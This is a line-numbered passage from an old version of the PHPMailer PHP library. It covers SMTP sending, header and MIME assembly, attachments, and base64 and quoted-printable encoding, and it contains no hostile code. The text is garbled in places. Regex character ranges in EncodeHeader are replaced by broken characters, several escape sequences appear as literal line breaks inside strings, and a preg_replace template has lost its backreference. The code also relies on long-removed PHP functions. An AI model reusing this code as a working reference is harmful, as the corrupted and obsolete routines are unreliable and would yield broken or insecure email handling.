  1914.     for($i = 0; $i < count($this->to); $i++) {
  1915.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1916.         $bad_rcpt[] = $this->to[$i][0];
  1917.       }
  1918.     }
  1919.     for($i = 0; $i < count($this->cc); $i++) {
  1920.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1921.         $bad_rcpt[] = $this->cc[$i][0];
  1922.       }
  1923.     }
  1924.     for($i = 0; $i < count($this->bcc); $i++) {
  1925.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1926.         $bad_rcpt[] = $this->bcc[$i][0];
  1927.       }
  1928.     }
  1929.  
  1930.     if(count($bad_rcpt) > 0) { // Create error message
  1931.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1932.         if($i != 0) {
  1933.           $error .= ', ';
  1934.         }
  1935.         $error .= $bad_rcpt[$i];
  1936.  
  1937.       }
  1938.       $error = $this->Lang('recipients_failed') . $error;
  1939.       $this->SetError($error);
  1940.       $this->smtp->Reset();
  1941.       return false;
  1942.     }
  1943.  
  1944.     if(!$this->smtp->Data($header . $body)) {
  1945.       $this->SetError($this->Lang('data_not_accepted'));
  1946.       $this->smtp->Reset();
  1947.       return false;
  1948.     }
  1949.     if($this->SMTPKeepAlive == true) {
  1950.       $this->smtp->Reset();
  1951.     } else {
  1952.       $this->SmtpClose();
  1953.     }
  1954.  
  1955.     return true;
  1956.   }
  1957.  
  1958.   /**
  1959.    * Initiates a connection to an SMTP server.  Returns false if the
  1960.    * operation failed.
  1961.    * @access private
  1962.    * @return bool
  1963.    */
  1964.   function SmtpConnect() {
  1965.     if($this->smtp == NULL) {
  1966.       $this->smtp = new SMTP();
  1967.     }
  1968.  
  1969.     $this->smtp->do_debug = $this->SMTPDebug;
  1970.     $hosts = explode(';', $this->Host);
  1971.     $index = 0;
  1972.     $connection = ($this->smtp->Connected());
  1973.  
  1974.     /* Retry while there is no connection */
  1975.     while($index < count($hosts) && $connection == false) {
  1976.       $hostinfo = array();
  1977.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1978.         $host = $hostinfo[1];
  1979.         $port = $hostinfo[2];
  1980.       } else {
  1981.         $host = $hosts[$index];
  1982.         $port = $this->Port;
  1983.       }
  1984.  
  1985.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1986.         if ($this->Helo != '') {
  1987.           $this->smtp->Hello($this->Helo);
  1988.         } else {
  1989.           $this->smtp->Hello($this->ServerHostname());
  1990.         }
  1991.  
  1992.         $connection = true;
  1993.         if($this->SMTPAuth) {
  1994.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1995.             $this->SetError($this->Lang('authenticate'));
  1996.             $this->smtp->Reset();
  1997.             $connection = false;
  1998.           }
  1999.         }
  2000.       }
  2001.       $index++;
  2002.     }
  2003.     if(!$connection) {
  2004.       $this->SetError($this->Lang('connect_host'));
  2005.     }
  2006.  
  2007.     return $connection;
  2008.   }
  2009.  
  2010.   /**
  2011.    * Closes the active SMTP session if one exists.
  2012.    * @return void
  2013.    */
  2014.   function SmtpClose() {
  2015.     if($this->smtp != NULL) {
  2016.       if($this->smtp->Connected()) {
  2017.         $this->smtp->Quit();
  2018.         $this->smtp->Close();
  2019.       }
  2020.     }
  2021.   }
  2022.  
  2023.   /**
  2024.    * Sets the language for all class error messages.  Returns false
  2025.    * if it cannot load the language file.  The default language type
  2026.    * is English.
  2027.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2028.    * @param string $lang_path Path to the language file directory
  2029.    * @access public
  2030.    * @return bool
  2031.    */
  2032.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2033.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2034.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2035.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2036.       include($lang_path.'phpmailer.lang-en.php');
  2037.     } else {
  2038.       $this->SetError('Could not load language file');
  2039.       return false;
  2040.     }
  2041.     $this->language = $PHPMAILER_LANG;
  2042.  
  2043.     return true;
  2044.   }
  2045.  
  2046.   /////////////////////////////////////////////////
  2047.   // METHODS, MESSAGE CREATION
  2048.   /////////////////////////////////////////////////
  2049.  
  2050.   /**
  2051.    * Creates recipient headers.
  2052.    * @access private
  2053.    * @return string
  2054.    */
  2055.   function AddrAppend($type, $addr) {
  2056.     $addr_str = $type . ': ';
  2057.     $addr_str .= $this->AddrFormat($addr[0]);
  2058.     if(count($addr) > 1) {
  2059.       for($i = 1; $i < count($addr); $i++) {
  2060.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2061.       }
  2062.     }
  2063.     $addr_str .= $this->LE;
  2064.  
  2065.     return $addr_str;
  2066.   }
  2067.  
  2068.   /**
  2069.    * Formats an address correctly.
  2070.    * @access private
  2071.    * @return string
  2072.    */
  2073.   function AddrFormat($addr) {
  2074.     if(empty($addr[1])) {
  2075.       $formatted = $this->SecureHeader($addr[0]);
  2076.     } else {
  2077.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2078.     }
  2079.  
  2080.     return $formatted;
  2081.   }
  2082.  
  2083.   /**
  2084.    * Wraps message for use with mailers that do not
  2085.    * automatically perform wrapping and for quoted-printable.
  2086.    * Original written by philippe.
  2087.    * @access private
  2088.    * @return string
  2089.    */
  2090.   function WrapText($message, $length, $qp_mode = false) {
  2091.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2092.     // If utf-8 encoding is used, we will need to make sure we don't
  2093.     // split multibyte characters when we wrap
  2094.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2095.  
  2096.     $message = $this->FixEOL($message);
  2097.     if (substr($message, -1) == $this->LE) {
  2098.       $message = substr($message, 0, -1);
  2099.     }
  2100.  
  2101.     $line = explode($this->LE, $message);
  2102.     $message = '';
  2103.     for ($i=0 ;$i < count($line); $i++) {
  2104.       $line_part = explode(' ', $line[$i]);
  2105.       $buf = '';
  2106.       for ($e = 0; $e<count($line_part); $e++) {
  2107.         $word = $line_part[$e];
  2108.         if ($qp_mode and (strlen($word) > $length)) {
  2109.           $space_left = $length - strlen($buf) - 1;
  2110.           if ($e != 0) {
  2111.             if ($space_left > 20) {
  2112.               $len = $space_left;
  2113.               if ($is_utf8) {
  2114.                 $len = $this->UTF8CharBoundary($word, $len);
  2115.               } elseif (substr($word, $len - 1, 1) == "=") {
  2116.                 $len--;
  2117.               } elseif (substr($word, $len - 2, 1) == "=") {
  2118.                 $len -= 2;
  2119.               }
  2120.               $part = substr($word, 0, $len);
  2121.               $word = substr($word, $len);
  2122.               $buf .= ' ' . $part;
  2123.               $message .= $buf . sprintf("=%s", $this->LE);
  2124.             } else {
  2125.               $message .= $buf . $soft_break;
  2126.             }
  2127.             $buf = '';
  2128.           }
  2129.           while (strlen($word) > 0) {
  2130.             $len = $length;
  2131.             if ($is_utf8) {
  2132.               $len = $this->UTF8CharBoundary($word, $len);
  2133.             } elseif (substr($word, $len - 1, 1) == "=") {
  2134.               $len--;
  2135.             } elseif (substr($word, $len - 2, 1) == "=") {
  2136.               $len -= 2;
  2137.             }
  2138.             $part = substr($word, 0, $len);
  2139.             $word = substr($word, $len);
  2140.  
  2141.             if (strlen($word) > 0) {
  2142.               $message .= $part . sprintf("=%s", $this->LE);
  2143.             } else {
  2144.               $buf = $part;
  2145.             }
  2146.           }
  2147.         } else {
  2148.           $buf_o = $buf;
  2149.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2150.  
  2151.           if (strlen($buf) > $length and $buf_o != '') {
  2152.             $message .= $buf_o . $soft_break;
  2153.             $buf = $word;
  2154.           }
  2155.         }
  2156.       }
  2157.       $message .= $buf . $this->LE;
  2158.     }
  2159.  
  2160.     return $message;
  2161.   }
  2162.  
  2163.   /**
  2164.    * Finds last character boundary prior to maxLength in a utf-8
  2165.    * quoted (printable) encoded string.
  2166.    * Original written by Colin Brown.
  2167.    * @access private
  2168.    * @param string $encodedText utf-8 QP text
  2169.    * @param int    $maxLength   find last character boundary prior to this length
  2170.    * @return int
  2171.    */
  2172.   function UTF8CharBoundary($encodedText, $maxLength) {
  2173.     $foundSplitPos = false;
  2174.     $lookBack = 3;
  2175.     while (!$foundSplitPos) {
  2176.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2177.       $encodedCharPos = strpos($lastChunk, "=");
  2178.       if ($encodedCharPos !== false) {
  2179.         // Found start of encoded character byte within $lookBack block.
  2180.         // Check the encoded byte value (the 2 chars after the '=')
  2181.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2182.         $dec = hexdec($hex);
  2183.         if ($dec < 128) { // Single byte character.
  2184.           // If the encoded char was found at pos 0, it will fit
  2185.           // otherwise reduce maxLength to start of the encoded char
  2186.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2187.           $maxLength - ($lookBack - $encodedCharPos);
  2188.           $foundSplitPos = true;
  2189.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2190.           // Reduce maxLength to split at start of character
  2191.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2192.           $foundSplitPos = true;
  2193.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2194.           $lookBack += 3;
  2195.         }
  2196.       } else {
  2197.         // No encoded character found
  2198.         $foundSplitPos = true;
  2199.       }
  2200.     }
  2201.     return $maxLength;
  2202.   }
  2203.  
  2204.   /**
  2205.    * Set the body wrapping.
  2206.    * @access private
  2207.    * @return void
  2208.    */
  2209.   function SetWordWrap() {
  2210.     if($this->WordWrap < 1) {
  2211.       return;
  2212.     }
  2213.  
  2214.     switch($this->message_type) {
  2215.       case 'alt':
  2216.         /* fall through */
  2217.       case 'alt_attachments':
  2218.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2219.         break;
  2220.       default:
  2221.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2222.         break;
  2223.     }
  2224.   }
  2225.  
  2226.   /**
  2227.    * Assembles message header.
  2228.    * @access private
  2229.    * @return string
  2230.    */
  2231.   function CreateHeader() {
  2232.     $result = '';
  2233.  
  2234.     /* Set the boundaries */
  2235.     $uniq_id = md5(uniqid(time()));
  2236.     $this->boundary[1] = 'b1_' . $uniq_id;
  2237.     $this->boundary[2] = 'b2_' . $uniq_id;
  2238.  
  2239.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2240.     if($this->Sender == '') {
  2241.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2242.     } else {
  2243.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2244.     }
  2245.  
  2246.     /* To be created automatically by mail() */
  2247.     if($this->Mailer != 'mail') {
  2248.       if(count($this->to) > 0) {
  2249.         $result .= $this->AddrAppend('To', $this->to);
  2250.       } elseif (count($this->cc) == 0) {
  2251.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2252.       }
  2253.       if(count($this->cc) > 0) {
  2254.         $result .= $this->AddrAppend('Cc', $this->cc);
  2255.       }
  2256.     }
  2257.  
  2258.     $from = array();
  2259.     $from[0][0] = trim($this->From);
  2260.     $from[0][1] = $this->FromName;
  2261.     $result .= $this->AddrAppend('From', $from);
  2262.  
  2263.     /* sendmail and mail() extract Cc from the header before sending */
  2264.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2265.       $result .= $this->AddrAppend('Cc', $this->cc);
  2266.     }
  2267.  
  2268.     /* sendmail and mail() extract Bcc from the header before sending */
  2269.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2270.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2271.     }
  2272.  
  2273.     if(count($this->ReplyTo) > 0) {
  2274.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2275.     }
  2276.  
  2277.     /* mail() sets the subject itself */
  2278.     if($this->Mailer != 'mail') {
  2279.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2280.     }
  2281.  
  2282.     if($this->MessageID != '') {
  2283.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2284.     } else {
  2285.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2286.     }
  2287.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2288.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2289.  
  2290.     if($this->ConfirmReadingTo != '') {
  2291.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2292.     }
  2293.  
  2294.     // Add custom headers
  2295.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2296.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2297.     }
  2298.     if (!$this->sign_key_file) {
  2299.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2300.       $result .= $this->GetMailMIME();
  2301.     }
  2302.  
  2303.     return $result;
  2304.   }
  2305.  
  2306.   /**
  2307.    * Returns the message MIME.
  2308.    * @access private
  2309.    * @return string
  2310.    */
  2311.   function GetMailMIME() {
  2312.     $result = '';
  2313.     switch($this->message_type) {
  2314.       case 'plain':
  2315.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2316.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2317.         break;
  2318.       case 'attachments':
  2319.         /* fall through */
  2320.       case 'alt_attachments':
  2321.         if($this->InlineImageExists()){
  2322.           $result .= sprintf("Content-Type: %s;%s   type=\"text/html\";%s   boundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2323.         } else {
  2324.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2325.           $result .= $this->TextLine("  boundary=\"" . $this->boundary[1] . '"');
  2326.         }
  2327.         break;
  2328.       case 'alt':
  2329.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2330.         $result .= $this->TextLine("    boundary=\"" . $this->boundary[1] . '"');
  2331.         break;
  2332.     }
  2333.  
  2334.     if($this->Mailer != 'mail') {
  2335.       $result .= $this->LE.$this->LE;
  2336.     }
  2337.  
  2338.     return $result;
  2339.   }
  2340.  
  2341.   /**
  2342.    * Assembles the message body.  Returns an empty string on failure.
  2343.    * @access private
  2344.    * @return string
  2345.    */
  2346.   function CreateBody() {
  2347.     $result = '';
  2348.     if ($this->sign_key_file) {
  2349.       $result .= $this->GetMailMIME();
  2350.     }
  2351.  
  2352.     $this->SetWordWrap();
  2353.  
  2354.     switch($this->message_type) {
  2355.       case 'alt':
  2356.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2357.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2358.         $result .= $this->LE.$this->LE;
  2359.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2360.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2361.         $result .= $this->LE.$this->LE;
  2362.         $result .= $this->EndBoundary($this->boundary[1]);
  2363.         break;
  2364.       case 'plain':
  2365.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2366.         break;
  2367.       case 'attachments':
  2368.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2369.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2370.         $result .= $this->LE;
  2371.         $result .= $this->AttachAll();
  2372.         break;
  2373.       case 'alt_attachments':
  2374.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2375.         $result .= sprintf("Content-Type: %s;%s" . "    boundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2376.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2377.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2378.         $result .= $this->LE.$this->LE;
  2379.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2380.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2381.         $result .= $this->LE.$this->LE;
  2382.         $result .= $this->EndBoundary($this->boundary[2]);
  2383.         $result .= $this->AttachAll();
  2384.         break;
  2385.     }
  2386.  
  2387.     if($this->IsError()) {
  2388.       $result = '';
  2389.     } else if ($this->sign_key_file) {
  2390.       $file = tempnam("", "mail");
  2391.       $fp = fopen($file, "w");
  2392.       fwrite($fp, $result);
  2393.       fclose($fp);
  2394.       $signed = tempnam("", "signed");
  2395.  
  2396.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2397.         $fp = fopen($signed, "r");
  2398.         $result = fread($fp, filesize($this->sign_key_file));
  2399.         fclose($fp);
  2400.       } else {
  2401.         $this->SetError($this->Lang("signing").openssl_error_string());
  2402.         $result = '';
  2403.       }
  2404.  
  2405.       unlink($file);
  2406.       unlink($signed);
  2407.     }
  2408.  
  2409.     return $result;
  2410.   }
  2411.  
  2412.   /**
  2413.    * Returns the start of a message boundary.
  2414.    * @access private
  2415.    */
  2416.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2417.     $result = '';
  2418.     if($charSet == '') {
  2419.       $charSet = $this->CharSet;
  2420.     }
  2421.     if($contentType == '') {
  2422.       $contentType = $this->ContentType;
  2423.     }
  2424.     if($encoding == '') {
  2425.       $encoding = $this->Encoding;
  2426.     }
  2427.     $result .= $this->TextLine('--' . $boundary);
  2428.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2429.     $result .= $this->LE;
  2430.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2431.     $result .= $this->LE;
  2432.  
  2433.     return $result;
  2434.   }
  2435.  
  2436.   /**
  2437.    * Returns the end of a message boundary.
  2438.    * @access private
  2439.    */
  2440.   function EndBoundary($boundary) {
  2441.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2442.   }
  2443.  
  2444.   /**
  2445.    * Sets the message type.
  2446.    * @access private
  2447.    * @return void
  2448.    */
  2449.   function SetMessageType() {
  2450.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2451.       $this->message_type = 'plain';
  2452.     } else {
  2453.       if(count($this->attachment) > 0) {
  2454.         $this->message_type = 'attachments';
  2455.       }
  2456.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2457.         $this->message_type = 'alt';
  2458.       }
  2459.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2460.         $this->message_type = 'alt_attachments';
  2461.       }
  2462.     }
  2463.   }
  2464.  
  2465.   /* Returns a formatted header line.
  2466.    * @access private
  2467.    * @return string
  2468.    */
  2469.   function HeaderLine($name, $value) {
  2470.     return $name . ': ' . $value . $this->LE;
  2471.   }
  2472.  
  2473.   /**
  2474.    * Returns a formatted mail line.
  2475.    * @access private
  2476.    * @return string
  2477.    */
  2478.   function TextLine($value) {
  2479.     return $value . $this->LE;
  2480.   }
  2481.  
  2482.   /////////////////////////////////////////////////
  2483.   // CLASS METHODS, ATTACHMENTS
  2484.   /////////////////////////////////////////////////
  2485.  
  2486.   /**
  2487.    * Adds an attachment from a path on the filesystem.
  2488.    * Returns false if the file could not be found
  2489.    * or accessed.
  2490.    * @param string $path Path to the attachment.
  2491.    * @param string $name Overrides the attachment name.
  2492.    * @param string $encoding File encoding (see $Encoding).
  2493.    * @param string $type File extension (MIME) type.
  2494.    * @return bool
  2495.    */
  2496.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2497.     if(!@is_file($path)) {
  2498.       $this->SetError($this->Lang('file_access') . $path);
  2499.       return false;
  2500.     }
  2501.  
  2502.     $filename = basename($path);
  2503.     if($name == '') {
  2504.       $name = $filename;
  2505.     }
  2506.  
  2507.     $cur = count($this->attachment);
  2508.     $this->attachment[$cur][0] = $path;
  2509.     $this->attachment[$cur][1] = $filename;
  2510.     $this->attachment[$cur][2] = $name;
  2511.     $this->attachment[$cur][3] = $encoding;
  2512.     $this->attachment[$cur][4] = $type;
  2513.     $this->attachment[$cur][5] = false; // isStringAttachment
  2514.     $this->attachment[$cur][6] = 'attachment';
  2515.     $this->attachment[$cur][7] = 0;
  2516.  
  2517.     return true;
  2518.   }
  2519.  
  2520.   /**
  2521.    * Attaches all fs, string, and binary attachments to the message.
  2522.    * Returns an empty string on failure.
  2523.    * @access private
  2524.    * @return string
  2525.    */
  2526.   function AttachAll() {
  2527.     /* Return text of body */
  2528.     $mime = array();
  2529.  
  2530.     /* Add all attachments */
  2531.     for($i = 0; $i < count($this->attachment); $i++) {
  2532.       /* Check for string attachment */
  2533.       $bString = $this->attachment[$i][5];
  2534.       if ($bString) {
  2535.         $string = $this->attachment[$i][0];
  2536.       } else {
  2537.         $path = $this->attachment[$i][0];
  2538.       }
  2539.  
  2540.       $filename    = $this->attachment[$i][1];
  2541.       $name        = $this->attachment[$i][2];
  2542.       $encoding    = $this->attachment[$i][3];
  2543.       $type        = $this->attachment[$i][4];
  2544.       $disposition = $this->attachment[$i][6];
  2545.       $cid         = $this->attachment[$i][7];
  2546.  
  2547.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2548.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2549.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2550.  
  2551.       if($disposition == 'inline') {
  2552.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2553.       }
  2554.  
  2555.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2556.  
  2557.       /* Encode as string attachment */
  2558.       if($bString) {
  2559.         $mime[] = $this->EncodeString($string, $encoding);
  2560.         if($this->IsError()) {
  2561.           return '';
  2562.         }
  2563.         $mime[] = $this->LE.$this->LE;
  2564.       } else {
  2565.         $mime[] = $this->EncodeFile($path, $encoding);
  2566.         if($this->IsError()) {
  2567.           return '';
  2568.         }
  2569.         $mime[] = $this->LE.$this->LE;
  2570.       }
  2571.     }
  2572.  
  2573.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2574.  
  2575.     return join('', $mime);
  2576.   }
  2577.  
  2578.   /**
  2579.    * Encodes attachment in requested format.  Returns an
  2580.    * empty string on failure.
  2581.    * @access private
  2582.    * @return string
  2583.    */
  2584.   function EncodeFile ($path, $encoding = 'base64') {
  2585.     if(!@$fd = fopen($path, 'rb')) {
  2586.       $this->SetError($this->Lang('file_open') . $path);
  2587.       return '';
  2588.     }
  2589.     $magic_quotes = get_magic_quotes_runtime();
  2590.     set_magic_quotes_runtime(0);
  2591.     $file_buffer = fread($fd, filesize($path));
  2592.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2593.     fclose($fd);
  2594.     set_magic_quotes_runtime($magic_quotes);
  2595.  
  2596.     return $file_buffer;
  2597.   }
  2598.  
  2599.   /**
  2600.    * Encodes string to requested format. Returns an
  2601.    * empty string on failure.
  2602.    * @access private
  2603.    * @return string
  2604.    */
  2605.   function EncodeString ($str, $encoding = 'base64') {
  2606.     $encoded = '';
  2607.     switch(strtolower($encoding)) {
  2608.       case 'base64':
  2609.         /* chunk_split is found in PHP >= 3.0.6 */
  2610.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2611.         break;
  2612.       case '7bit':
  2613.       case '8bit':
  2614.         $encoded = $this->FixEOL($str);
  2615.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2616.           $encoded .= $this->LE;
  2617.         break;
  2618.       case 'binary':
  2619.         $encoded = $str;
  2620.         break;
  2621.       case 'quoted-printable':
  2622.         $encoded = $this->EncodeQP($str);
  2623.         break;
  2624.       default:
  2625.         $this->SetError($this->Lang('encoding') . $encoding);
  2626.         break;
  2627.     }
  2628.     return $encoded;
  2629.   }
  2630.  
  2631.   /**
  2632.    * Encode a header string to best of Q, B, quoted or none.
  2633.    * @access private
  2634.    * @return string
  2635.    */
  2636.   function EncodeHeader ($str, $position = 'text') {
  2637.     $x = 0;
  2638.  
  2639.     switch (strtolower($position)) {
  2640.       case 'phrase':
  2641.         if (!preg_match('/[�-�]/', $str)) {
  2642.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2643.           $encoded = addcslashes($str, "..\"");
  2644.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2645.             return ($encoded);
  2646.           } else {
  2647.             return ("\"$encoded\"");
  2648.           }
  2649.         }
  2650.         $x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
  2651.         break;
  2652.       case 'comment':
  2653.         $x = preg_match_all('/[()"]/', $str, $matches);
  2654.         /* Fall-through */
  2655.       case 'text':
  2656.       default:
  2657.         $x += preg_match_all('/[- --�]/', $str, $matches);
  2658.         break;
  2659.     }
  2660.  
  2661.     if ($x == 0) {
  2662.       return ($str);
  2663.     }
  2664.  
  2665.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2666.     /* Try to select the encoding which should produce the shortest output */
  2667.     if (strlen($str)/3 < $x) {
  2668.       $encoding = 'B';
  2669.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2670.      // Use a custom function which correctly encodes and wraps long
  2671.      // multibyte strings without breaking lines within a character
  2672.         $encoded = $this->Base64EncodeWrapMB($str);
  2673.       } else {
  2674.         $encoded = base64_encode($str);
  2675.         $maxlen -= $maxlen % 4;
  2676.         $encoded = trim(chunk_split($encoded, $maxlen, "
  2677. "));
  2678.       }
  2679.     } else {
  2680.       $encoding = 'Q';
  2681.       $encoded = $this->EncodeQ($str, $position);
  2682.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2683.       $encoded = str_replace('='.$this->LE, "
  2684. ", trim($encoded));
  2685.     }
  2686.  
  2687.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
  2688.     $encoded = trim(str_replace("
  2689. ", $this->LE, $encoded));
  2690.  
  2691.     return $encoded;
  2692.   }
  2693.  
  2694.   /**
  2695.    * Checks if a string contains multibyte characters.
  2696.    * @access private
  2697.    * @param string $str multi-byte text to wrap encode
  2698.    * @return bool
  2699.    */
  2700.   function HasMultiBytes($str) {
  2701.     if (function_exists('mb_strlen')) {
  2702.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2703.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2704.       return False;
  2705.     }
  2706.   }
  2707.  
  2708.   /**
  2709.    * Correctly encodes and wraps long multibyte strings for mail headers
  2710.    * without breaking lines within a character.
  2711.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2712.    * @access private
  2713.    * @param string $str multi-byte text to wrap encode
  2714.    * @return string
  2715.    */
  2716.   function Base64EncodeWrapMB($str) {
  2717.     $start = "=?".$this->CharSet."?B?";
  2718.     $end = "?=";
  2719.     $encoded = "";
  2720.  
  2721.     $mb_length = mb_strlen($str, $this->CharSet);
  2722.     // Each line must have length <= 75, including $start and $end
  2723.     $length = 75 - strlen($start) - strlen($end);
  2724.     // Average multi-byte ratio
  2725.     $ratio = $mb_length / strlen($str);
  2726.     // Base64 has a 4:3 ratio
  2727.     $offset = $avgLength = floor($length * $ratio * .75);
  2728.  
  2729.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2730.       $lookBack = 0;
  2731.  
  2732.       do {
  2733.         $offset = $avgLength - $lookBack;
  2734.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2735.         $chunk = base64_encode($chunk);
  2736.         $lookBack++;
  2737.       }
  2738.       while (strlen($chunk) > $length);
  2739.  
  2740.       $encoded .= $chunk . $this->LE;
  2741.     }
  2742.  
  2743.     // Chomp the last linefeed
  2744.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2745.     return $encoded;
  2746.   }
  2747.  
  2748.   /**
  2749.    * Encode string to quoted-printable.
  2750.    * @access private
  2751.    * @return string
  2752.    */
  2753.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2754.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2755.     $lines = preg_split('/(?:
  2756. |
  2757. |
  2758. )/', $input);
  2759.     $eol = "
  2760. ";
  2761.     $escape = '=';
  2762.     $output = '';
  2763.     while( list(, $line) = each($lines) ) {
  2764.       $linlen = strlen($line);
  2765.       $newline = '';
  2766.       for($i = 0; $i < $linlen; $i++) {
  2767.         $c = substr( $line, $i, 1 );
  2768.         $dec = ord( $c );
  2769.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2770.           $c = '=2E';
  2771.         }
  2772.         if ( $dec == 32 ) {
  2773.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2774.             $c = '=20';
  2775.           } else if ( $space_conv ) {
  2776.             $c = '=20';
  2777.           }
  2778.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "  ", which is *not* required
  2779.           $h2 = floor($dec/16);
  2780.           $h1 = floor($dec%16);
  2781.           $c = $escape.$hex[$h2].$hex[$h1];
  2782.         }
  2783.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2784.           $output .= $newline.$escape.$eol; //  soft line break; " =
